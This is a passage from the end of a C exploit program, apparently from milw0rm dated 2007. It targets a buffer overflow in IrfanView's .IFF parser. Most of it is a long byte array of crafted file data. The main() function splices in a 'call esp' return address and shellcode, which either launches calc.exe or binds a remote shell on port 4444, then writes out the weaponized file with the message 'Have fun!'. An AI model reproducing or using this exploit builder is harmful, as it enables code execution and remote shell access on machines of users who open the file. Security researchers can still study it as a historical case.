"\x08\xc1\x08\x09\x84\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea\xff\x0c"
"\xf3\xef\xd8\xfb\x27\xdc\xf1\xfd\xe7\xbe\x67\xfe\xf9\xe6\xff\x00"
"\xf8\xea\x00\x03\x08\x00\x01\x02\xff\x00\x00\x02\xff\x00\x00\x20"
"\xe2\x00\xea\x00\x00\x02\xff\x10\x09\x02\x00\x24\x06\x02\x00\x20"
"\x88\x01\x06\xe5\x00\xea\x00\x0c\x08\x10\x01\x02\x00\x30\x06\x03"
"\x00\xa1\x98\x01\x86\xe5\x00\xea\x00\x0c\x02\x30\x44\x06\x50\x35"
"\x0c\x03\x08\xa0\x88\x31\x84\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xea"
"\xff\x0c\xf3\xea\x8c\x49\x27\xde\x37\xfe\xe7\xcc\x75\x5e\xf9\xe6"
"\xff\x00\xf8\xea\x00\x03\x08\x07\x10\x22\xff\x00\x00\x40\xff\x00"
"\x03\x18\x93\x80\x08\xe5\x00\xea\x00\x03\x02\x22\x00\xe2\xff\x00"
"\x00\xe0\xff\x00\x03\x2c\x19\x10\x08\xe5\x00\xea\x00\x0c\x08\x07"
"\x12\xa2\x00\x12\xd4\x01\x00\x3a\x9b\x80\x88\xe5\x00\xea\x00\x0c"
"\x02\x2a\x80\x58\x50\x12\x34\x02\x08\x68\x1d\x50\x8a\xe5\x00\xc1"
"\x00\xc1\x00\xc1\x00\xea\xff\x0c\xfd\xe8\x7e\x03\xaf\xce\x07\xfd"
"\xf7\xc0\xf8\x7e\x7b\xe6\xff\x00\xf8\xea\x00\x04\x02\x10\x00\x04"
"\x50\xfe\x00\x02\x08\x01\x08\xe3\x00\xea\x00\x06\x0a\x13\x51\xf4"
"\x00\x01\xd0\xff\x00\x03\x1e\x0b\xa0\x0a\xe5\x00\xea\x00\x0b\x02"
"\x13\x81\xfc\x50\x21\xd0\x02\x08\x3f\x0f\x81\xe4\x00\xea\x00\x0c"
"\x04\x0b\x60\xf0\x88\x10\xd8\x01\x10\x1e\x0b\xe0\x80\xe5\x00\xc1"
"\x00\xc1\x00\xc1\x00\xe9\xff\x00\xf8\xfc\xff\x00\xfc\xff\xff\x02"
"\xfc\x7f\xf3\xe6\xff\x00\xf8\xe9\x00\x02\x07\x00\x10\xfc\x00\x03"
"\x10\x03\x80\x02\xe5\x00\xe9\x00\x02\x05\x00\x70\xff\x00\x00\x60"
"\xff\x00\x03\x1c\x02\x80\x0a\xe5\x00\xe9\x00\x02\x07\x00\x10\xfc"
"\x00\x03\x10\x03\x80\x0a\xe5\x00\xe7\x00\x00\x10\xfe\x00\x02\x02"
"\x00\x14\xff\x00\x00\x02\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xe3\xff"
"\x00\xfe\xe1\xff\x00\xf8\xc1\x00\xe3\x00\x01\x02\x80\xe1\x00\xc1"
"\x00\xde\x00\x00\x0c\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xe3\xff\x00"
"\xfe\xfd\xff\x00\xf3\xe6\xff\x00\xf8\xc1\x00\xe3\x00\x00\x01\xfd"
"\x00\x00\x10\xe5\x00\xe3\x00\x01\x01\x80\xe1\x00\xe3\x00\x01\x01"
"\x80\xfe\x00\x00\x04\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xe3\xff\x01"
"\xfe\x7f\xfe\xff\x00\xf7\xe6\xff\x00\xf8\xe3\x00\x01\x01\x80\xfe"
"\x00\x00\x04\xe5\x00\xde\x00\x00\x14\xe5\x00\xe3\x00\x01\x01\x80"
"\xfe\x00\x00\x04\xe5\x00\xde\x00\x00\x1c\xe5\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc1\x00\xc2\xff\x00\xf8\xc1\x00\xc1\x00\xc1\x00"
"\xc1\x00\xc1\x00\xc1\x00\xc1\x00\xe7\xff\x00\xdf\xdd\xff\x00\xf8"
"\xe7\x00\x01\x10\x04\xdd\x00\xe7\x00\x01\x30\x04\xdd\x00\xe7\x00"
"\x01\x10\x04\xdd\x00\xe7\x00\x01\x30\x04\xdd\x00\xc1\x00\xc1\x00"
"\xc1\x00\xe8\xff\x06\xfe\xef\xd9\xf6\xbe\xfd\xf8\xe2\xff\x00\xf8"
"\xe7\x00\x06\x60\x0c\x28\x43\x08\x00\x80\xe2\x00\xe8\x00\x07\x01"
"\xf0\x3e\x31\x80\x06\x07\x80\xe2\x00\xe7\x00\x06\x80\x10\x30\x82"
"\x0c\x00\x80\xe2\x00\xe8\x00\x07\x01\xf0\x3a\x31\x02\x0e\x03\x80"
"\xe2\x00\xc1\x00\xc1\x00\xc1\x00\xe8\xff\x07\xfe\xdf\x1d\xbf\xfb"
"\x2c\x7a\x7f\xe3\xff\x00\xf8\xe8\x00\x07\x01\x80\x3c\x39\xc7\x0e"
"\x02\xb0\xe2\x00\xe8\x00\x07\x03\xe0\xfe\x78\xc3\xdf\x87\xd0\xe2"
"\x00\xe8\x00\x03\x02\x40\x00\x01\xff\x00\x01\x02\x70\xe2\x00\xe8"
"\x00\x07\x02\xe0\x82\x69\x40\x50\x86\x30\xe2\x00\xc1\x00\xc1\x00"
"\xc1\x00\xe8\xff\x07\xfc\xfd\xfb\x7f\xff\x9b\xdf\x3f\xe3\xff\x00"
"\xf8\xe7\x00\x06\x02\xf0\xf9\x81\xe7\xa0\xb6\xe2\x00\xe8\x00\x07"
"\x03\x01\xfc\x70\xc3\xcf\xc0\x7a\xe2\x00\xe7\x00\x06\x01\x08\x09"
"\x42\x08\x40\x0e\xe2\x00\xe8\x00\x07\x03\x00\x1c\x49\x00\x08\x00"
"\x36\xe2\x00\xc1\x00\xc1\x00\xc1\x00\xe9\xff\x00\xfe\xff\xff\x05"
"\xfe\x4f\xff\x6f\xfb\xe5\xe3\xff\x00\xf8\xe9\x00\x02\x01\x40\x1f"
"\xff\xf1\x03\x81\xe3\xf0\x14\xe2\x00\xe8\x00\x07\x80\x17\xd0\xe0"
"\xc0\xf1\xfc\x0e\xe2\x00\xe8\x00\x06\xc0\x18\x30\x01\x41\x02\x08"
"\xe1\x00\xe8\x00\x02\x40\x1c\x70\xff\x01\x02\x03\x1c\x06\xe2\x00"
"\xc1\x00\xc1\x00\xc1\x00\xe9\xff\x09\xf1\x3f\x8f\x7f\xdf\xff\x73"
"\x58\xff\xe7\xe4\xff\x00\xf8\xe9\x00\x09\x0b\x00\x1e\x83\xc1\x80"
"\x3c\xbd\x00\x10\xe3\x00\xe9\x00\x09\x07\xc0\x7f\x01\xe0\xc0\xf8"
"\x7e\x00\x08\xe3\x00\xe7\x00\x02\x01\x02\x01\xfe\x40\xe1\x00\xe9"
"\x00\x00\x01\xff\x40\x03\x02\x61\x00\x80\xff\x00\x00\x08\xe3\x00"
"\xc1\x00\xc1\x00\xc1\x00\xe9\xff\x03\xdd\xfe\xb1\xfb\xff\xff\x03"
"\xed\xdf\xbf\xe6\xe4\xff\x00\xf8\xe9\x00\x09\x3a\x01\x78\x03\x41"
"\x80\x3d\x0f\x40\x0d\xe3\x00\xe9\x00\x03\x1c\x00\xfe\x07\xff\xc0"
"\x03\x1f\x3f\x80\x1e\xe3\x00\xe9\x00\x09\x04\x00\x80\x00\xc1\x40"
"\x21\x10\x80\x02\xe3\x00\xe9\x00\x09\x18\x00\x02\x00\x41\x00\x21"
"\x38\x00\x06\xe3\x00\xc1\x00\xc1\x00\xc1\x00\xe9\xff\x00\xdf\xff"
"\xff\x00\xfe\xff\xff\x01\xee\xff\xff\xf7\xe4\xff\x00\xf8\xe9\x00"
"\x0a\x18\x05\xe8\x06\x01\x80\x07\x85\xe0\x01\xa0\xe4\x00\xe9\x00"
"\x0a\x28\x03\xf8\x0f\x00\xc0\x1f\x03\xf8\x0f\xe0\xe4\x00\xe9\x00"
"\x0a\x18\x06\x18\x08\x01\x40\x08\x86\x10\x06\x60\xe4\x00\xe9\x00"
"\x0a\x38\x04\x38\x00\x01\x00\x10\x84\x38\x0d\xe0\xe4\x00\xc1\x00"
"\xc1\x00\xc1\x00\xea\xff\x04\xef\xff\xdf\xbf\xdf\xff\xff\x03\xfd"
"\x9e\x31\xfe\xe4\xff\x00\xf8\xea\x00\x0b\x04\x00\x0f\x40\x0c\x01"
"\x80\x07\x81\x7a\x00\xa0\xe4\x00\xea\x00\x0b\x18\x00\x3f\x80\x3e"
"\x00\xc0\x03\xe0\xfc\x01\x60\xe4\x00\xea\x00\x07\x0c\x00\x10\x80"
"\x12\x01\x40\x04\xfe\x00\x00\xe0\xe4\x00\xea\x00\x0b\x1c\x00\x38"
"\x00\x22\x01\x00\x04\x20\x00\x01\xa0\xe4\x00\xc1\x00\xc1\x00\xc1"
"\x00\xea\xff\x04\x6b\xff\x18\xff\xbf\xff\xff\x02\xfd\xdf\xbf\xff"
"\xff\x00\x7f\xe6\xff\x00\xf8\xea\x00\x0c\x5c\x00\xbc\x00\x3c\x01"
"\x80\x00\xf0\x1e\xc0\x00\x80\xe5\x00\xea\x00\x0b\xb8\x00\x7f\x00"
"\x78\x00\xc0\x03\xe0\x7f\x40\x01\xe4\x00\xea\x00\x00\x60\xfe\x00"
"\x07\x04\x01\x40\x01\x10\x21\xc0\x01\xe4\x00\xea\x00\x0b\xc8\x00"
"\x01\x00\x64\x01\x00\x02\x10\x70\xc0\x01\xe4\x00\xc1\x00\xc1\x00"
"\xc1\x00\xeb\xff\x05\xfd\x6f\xfd\xfb\xff\x27\xfe\xff\x04\xb3\xff"
"\xef\xfe\xef\xe6\xff\x00\xf8\xea\x00\x0c\xc0\x02\xf0\x00\xf8\x01"
"\x80\x00\xf0\x0b\xc0\x00\xd0\xe5\x00\xeb\x00\x0d\x03\xf0\x01\xfc"
"\x00\x70\x00\xc0\x00\x7c\x07\xf0\x01\xe0\xe5\x00\xeb\x00\x03\x01"
"\x20\x01\x08\xff\x00\x07\x01\x40\x00\x80\x0c\x20\x00\x20\xe5\x00"
"\xeb\x00\x03\x02\x70\x00\x1c\xff\x00\x00\x01\xff\x00\x04\x84\x08"
"\x70\x00\xc0\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xeb\xff\x02\xfd\x7f"
"\xef\xff\xff\x00\xef\xfe\xff\x04\xbb\xfc\x7b\xff\x93\xe6\xff\x00"
"\xf8\xea\x00\x0c\x80\x07\xb0\x01\xe0\x01\x80\x00\x1e\x00\xf4\x00"
"\x5a\xe5\x00\xeb\x00\x0d\x03\x00\x1f\xd0\x00\xf0\x00\xc0\x00\x7c"
"\x03\xf8\x00\x3e\xe5\x00\xeb\x00\x0d\x01\x00\x08\x70\x01\x00\x01"
"\x40\x00\x22\x00\x08\x00\x02\xe5\x00\xeb\x00\x06\x03\x00\x1c\x30"
"\x01\x30\x01\xff\x00\x01\x42\x02\xff\x00\x00\x12\xe5\x00\xc1\x00"
"\xc1\x00\xc1\x00\xeb\xff\x05\x7f\xff\x8e\x7f\xff\xdf\xfe\xff\x00"
"\xf6\xff\x7f\x01\xff\xf7\xe6\xff\x00\xf8\xeb\x00\x0d\xc0\x00\x1e"
"\x80\x01\xc0\x01\x80\x00\x1e\x00\x3f\x80\x08\xe5\x00\xe9\x00\x0b"
"\x7f\x00\x03\xe0\x00\xc0\x00\x0f\x80\xfe\x80\x04\xe5\x00\xeb\x00"
"\x00\x40\xfe\x00\x09\x02\x00\x01\x40\x00\x10\x00\x41\x80\x04\xe5"
"\x00\xeb\x00\x06\x40\x00\x40\x00\x02\x60\x01\xff\x00\x04\x10\x80"
"\xe3\x80\x04\xe5\x00\xc1\x00\xc1\x00\xc1\x00\xec\xff\x05\xf9\x3f"
"\xfe\xfd\xff\xfb\xfd\xff\x05\xf7\x7f\xef\x1f\xff\xeb\xe7\xff\x00"
"\xf8\xec\x00\x0f\x05\x80\x01\x78\x00\x03\x00\x01\x80\x00\x03\xc0"
"\x17\x80\x00\x20\xe6\x00\xec\x00\x0f\x03\xc0\x00\xfe\x00\x07\x80"
"\x00\xc0\x00\x0f\x80\x0f\xe0\x00\x3c\xe6\x00\xe9\x00\x00\x84\xff"
"\x00\x06\x80\x01\x40\x00\x04\x40\x08\xff\x00\x00\x28\xe6\x00\xec"
"\x00\x00\x01\xff\x00\x00\x0e\xfe\x00\x00\x01\xff\x00\x05\x08\x40"
"\x00\x20\x00\x2c\xe6\x00\xc1\x00\xc1\x00\xc1\x00\xe7\xff\x00\xfe"
"\xfd\xff\x03\xfe\xcf\xf8\xf7\xff\xff\x00\x7f\xe8\xff\x00\xf8\xec"
"\x00\x0f\x0d\x80\x0f\xf8\x00\x16\x00\x01\x80\x00\x03\xc0\x01\xe8"
"\x00\x0c\xe6\x00\xec\x00\x05\x1e\x80\x0b\xe8\x00\x1f\xff\x00\x08"
"\xc0\x00\x01\xf0\x07\xf0\x00\x1f\x80\xe7\x00\xec\x00\x0a\x13\x80"
"\x0c\x18\x00\x18\x00\x01\x40\x00\x02\xff\x00\x02\x10\x00\x13\xe6"
"\x00\xec\x00\x07\x1d\x80\x0e\x38\x00\x10\x00\x01\xff\x00\x02\x02"
"\x10\x04\xff\x00\x01\x1d\x80\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xec"
"\xff\x05\xeb\xff\xc7\xbf\xff\xdf\xfd\xff\x06\xfe\xef\xff\xfe\xff"
"\xfb\x7f\xe8\xff\x00\xf8\xec\x00\x08\x08\x00\x0f\x40\x00\x1c\x00"
"\x01\x80\xff\x00\x05\x78\x01\xfc\x00\x01\x80\xe7\x00\xec\x00\x05"
"\x14\x00\x3f\x80\x00\x3e\xff\x00\x08\xc0\x00\x01\xf0\x01\x7f\x00"
"\x07\xc0\xe7\x00\xec\x00\x00\x08\xff\x00\x05\x80\x00\x02\x00\x01"
"\x40\xff\x00\x05\x88\x01\x82\x00\x02\x40\xe7\x00\xec\x00\x02\x0c"
"\x00\x20\xff\x00\x02\x32\x00\x01\xff\x00\x05\x01\x08\x01\xc7\x00"
"\x07\xe6\x00\xc1\x00\xc1\x00\xc1\x00\xed\xff\x00\xf7\xff\xff\x00"
"\x58\xff\xff\x00\xbb\xfc\xff\x05\xd9\xff\xde\x3f\xff\x3f\xe8\xff"
"\x00\xf8\xed\x00\x00\x06\xff\x00\x00\xbc\xff\x00\x03\x7c\x00\x01"
"\x80\xff\x00\x02\x78\x00\x2f\xff\x00\x00\x40\xe7\x00\xed\x00\x00"
"\x0a\xff\x00\x00\x7f\xff\x00\x00\x38\xff\x00\x00\xc0\xff\x00\x05"
"\x3e\x00\x1f\xc0\x00\x80\xe7\x00\xed\x00\x00\x06\xff\x00\x00\x40"
"\xfd\x00\x01\x01\x40\xff\x00\x02\x40\x00\x10\xe4\x00\xed\x00\x00"
"\x0e\xff\x00\x00\x01\xff\x00\x02\x20\x00\x01\xfe\x00\x00\x42\xff"
"\x00\x02\x40\x00\x80\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xed\xff\x00"
"\xf7\xfc\xff\x00\x27\xfc\xff\x06\xdd\xff\xf3\xef\xff\xfd\x3f\xe9"
"\xff\x00\xf8\xed\x00\x03\x6a\x00\x02\xf4\xff\x00\x03\xf8\x00\x01"
"\x80\xff\x00\x06\x0f\x00\x03\xd0\x00\x01\x40\xe8\x00\xed\x00\x03"
"\x5e\x00\x01\xfc\xff\x00\x00\x70\xff\x00\x00\xc0\xff\x00\x06\x3e"
"\x00\x0f\xe0\x00\x03\x80\xe8\x00\xed\x00\x03\x76\x00\x03\x0c\xfd"
"\x00\x01\x01\x40\xff\x00\x00\x11\xff\x00\x00\x20\xe5\x00\xed\x00"
"\x03\x62\x00\x02\x1c\xfd\x00\x00\x01\xfe\x00\x02\x21\x00\x0a\xff"
"\x00\x00\x03\xe7\x00\xc1\x00\xc1\x00\xc1\x00\xee\xff\x04\xfe\xa7"
"\xff\xef\xdf\xff\xff\x00\xef\xfc\xff\x03\xfb\xbf\xff\xfd\xff\xff"
"\x00\xe7\xe9\xff\x00\xf8\xee\x00\x04\x01\x60\x00\x07\xa0\xff\x00"
"\x03\xe0\x00\x01\x80\xff\x00\x06\x0f\x00\x03\xf8\x00\x01\x68\xe8"
"\x00\xed\x00\x06\xf8\x00\x1f\xc0\x00\x01\xf0\xff\x00\x00\xc0\xff"
"\x00\x03\x07\xc0\x02\xfe\xff\x00\x00\xf0\xe8\x00\xed\x00\x05\x80"
"\x00\x08\x40\x00\x01\xff\x00\x01\x01\x40\xff\x00\x06\x08\x80\x03"
"\x04\x00\x01\x80\xe8\x00\xed\x00\x02\x28\x00\x1c\xff\x00\x03\x01"
"\x30\x00\x01\xfe\x00\x06\x08\x40\x03\x8e\x00\x01\x60\xe8\x00\xc1"
"\x00\xc1\x00\xc1\x00\xee\xff\x06\xfe\x3f\xff\x8c\x7f\xff\xfd\xfb"
"\xff\x06\xfb\xbf\xff\xbc\x7f\xff\xdb\xe9\xff\x00\xf8\xed\x00\x02"
"\x40\x00\x5e\xff\x00\x04\x01\xa0\x00\x01\x80\xff\x00\x06\x01\xe0"
"\x00\x5e\x80\x00\x68\xe8\x00\xee\x00\x07\x01\x80\x00\x3f\x80\x00"
"\x03\xe0\xff\x00\x00\xc0\xff\x00\x03\x07\xc0\x00\x3f\xff\x00\x00"
"\x5c\xe8\x00\xe7\x00\x03\x60\x00\x01\x40\xff\x00\x03\x02\x20\x00"
"\x20\xff\x00\x00\x50\xe8\x00\xea\x00\x00\x80\xff\x00\x02\x20\x00"
"\x01\xfe\x00\x01\x04\x20\xfd\x00\x00\x48\xe8\x00\xc1\x00\xc1\x00"
"\xc1\x00\xee\xff\x03\xbf\xff\xfe\xfd\xfe\xff\x00\x7f\xfb\xff\x02"
"\xf7\xff\xef\xff\xff\x00\xfb\xe9\xff\x00\xf8\xee\x00\x03\x60\x00"
"\x01\x78\xff\x00\x00\x03\xff\x00\x01\x01\x80\xff\x00\x04\x01\xe0"
"\x00\x07\xa0\xff\x00\x00\x10\xe9\x00\xee\x00\x00\x20\xff\x00\x00"
"\xfe\xff\x00\x01\x07\x80\xff\x00\x00\xc0\xfe\x00\x06\xf8\x00\x1f"
"\xc0\x00\x04\x10\xe9\x00\xee\x00\x00\x20\xff\x00\x00\x84\xff\x00"
"\x00\x04\xff\x00\x01\x01\x40\xff\x00\x04\x01\x10\x00\x08\x60\xff"
"\x00\x00\x10\xe9\x00\xee\x00\x00\x20\xff\x00\x00\x0e\xfc\x00\x00"
"\x01\xfe\x00\x07\x01\x88\x00\x1c\x20\x00\x04\x10\xe9\x00\xc1\x00"
"\xc1\x00\xc1\x00\xef\xff\x03\xfc\xdf\xff\xf7\xfe\xff\x00\xef\xfa"
"\xff\x00\xb7\xff\xff\x00\xfb\xff\xff\x00\xdd\xea\xff\x00\xf8\xee"
"\x00\x03\xc0\x00\x03\xd0\xff\x00\x00\x06\xff\x00\x01\x01\x80\xfe"
"\x00\x03\xbc\x00\x02\xf0\xff\x00\x00\x14\xe9\x00\xef\x00\x04\x03"
"\xe0\x00\x0f\xe0\xff\x00\x00\x1f\xfe\x00\x00\xc0\xfe\x00\x03\xf8"
"\x00\x01\xfc\xff\x00\x00\x3a\xe9\x00\xec\x00\x01\x04\x30\xff\x00"
"\x00\x09\xff\x00\x01\x01\x40\xfe\x00\x03\x84\x00\x03\x08\xff\x00"
"\x00\x0c\xe9\x00\xef\x00\x04\x02\xe0\x00\x0e\x10\xff\x00\x00\x11"
"\xff\x00\x00\x01\xfd\x00\x03\x84\x00\x02\x1c\xff\x00\x00\x36\xe9"
"\x00\xc1\x00\xc1\x00\xc1\x00\xef\xff\x04\xef\xbf\xff\xc7\xbf\xff"
"\xff\x00\xdf\xfa\xff\x00\xde\xff\xff\x00\x18\xff\xff\x01\xe5\xbf"
"\xeb\xff\x00\xf8\xef\x00\x04\x06\x80\x00\x0f\x40\xff\x00\x00\x1e"
"\xff\x00\x01\x01\x80\xfe\x00\x00\x3c\xff\x00\x00\xbd\xff\x00\x01"
"\x06\x80\xea\x00\xef\x00\x04\x1f\x40\x00\x3f\x80\xff\x00\x00\x3c"
"\xfe\x00\x00\xc0\xfe\x00\x00\x1f\xff\x00\x00\x7e\xff\x00\x01\x1f"
"\x40\xea\x00\xef\x00\x01\x09\x80\xff\x00\x00\x80\xff\x00\x00\x02"
"\xff\x00\x01\x01\x40\xfe\x00\x00\x02\xfc\x00\x01\x01\x80\xea\x00"
"\xef\x00\x03\x1e\xc0\x00\x20\xfe\x00\x00\x32\xff\x00\x00\x01\xfd"
"\x00\x00\x11\xfc\x00\x01\x14\xc0\xea\x00\xc1\x00\xc1\x00\xc1\x00"
"\xef\xff\x00\xfd\xff\xff\x00\x7e\xfe\xff\x00\x93\xfa\xff\x00\xf6"
"\xff\xff\x00\xdf\xff\xff\x00\xfd\xea\xff\x00\xf8\xef\x00\x00\x0c"
"\xff\x00\x00\xbc\xfe\x00\x00\x7c\xff\x00\x01\x01\x80\xfe\x00\x04"
"\x17\x80\x00\x0f\x60\xff\x00\x00\x80\xea\x00\xef\x00\x00\x1a\xff"
"\x00\x00\x7f\xfe\x00\x00\x38\xfe\x00\x00\xc0\xfe\x00\x00\x1f\xff"
;

int main(int argc, char* argv[])
{
	FILE* ifffile;
	char evilbuff[10000];
	int offset=0;

	printf("[+] IrfanView <= 4.00 .IFF File Buffer Overflow\n");
	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
	if (argc!=3) {
		printf("[+] Usage: %s Mode <file.iff>\n",argv[0]);
		printf("[+] Mode is 0 -> run calc.exe\n");
		printf("[+]         1 -> bind shell to port 4444\n");
		return 0;
	}

	memcpy(evilbuff,iff_file_part1,sizeof(iff_file_part1)-1);
	offset=sizeof(iff_file_part1)-1;
	memcpy(evilbuff+offset,iff_file_part2,sizeof(iff_file_part2)-1);
	memcpy(evilbuff+offset,"\x8b\x51\x81\x7c\x43\x43\x43\x43",8); 		//call esp in kernel32

	if (!atoi(argv[1]))
		memcpy(evilbuff+offset+8,CalcShellcode,sizeof(CalcShellcode)-1);
	else
		memcpy(evilbuff+offset+8,BindShellcode,sizeof(BindShellcode)-1);
 
	printf("[+] iff_file_part2 patched!\n");
	
	if ((ifffile=fopen(argv[2],"wb"))==0) {
		printf("[-] Unable to access file.\n");
		return 0;
	}
	
	fwrite( evilbuff, 1, sizeof(iff_file_part2)+sizeof(iff_file_part1)-2, ifffile );
	fclose(ifffile);
	printf("[+] Done. Have fun!\n");
	return 0;
	
}

// milw0rm.com [2007-04-27]
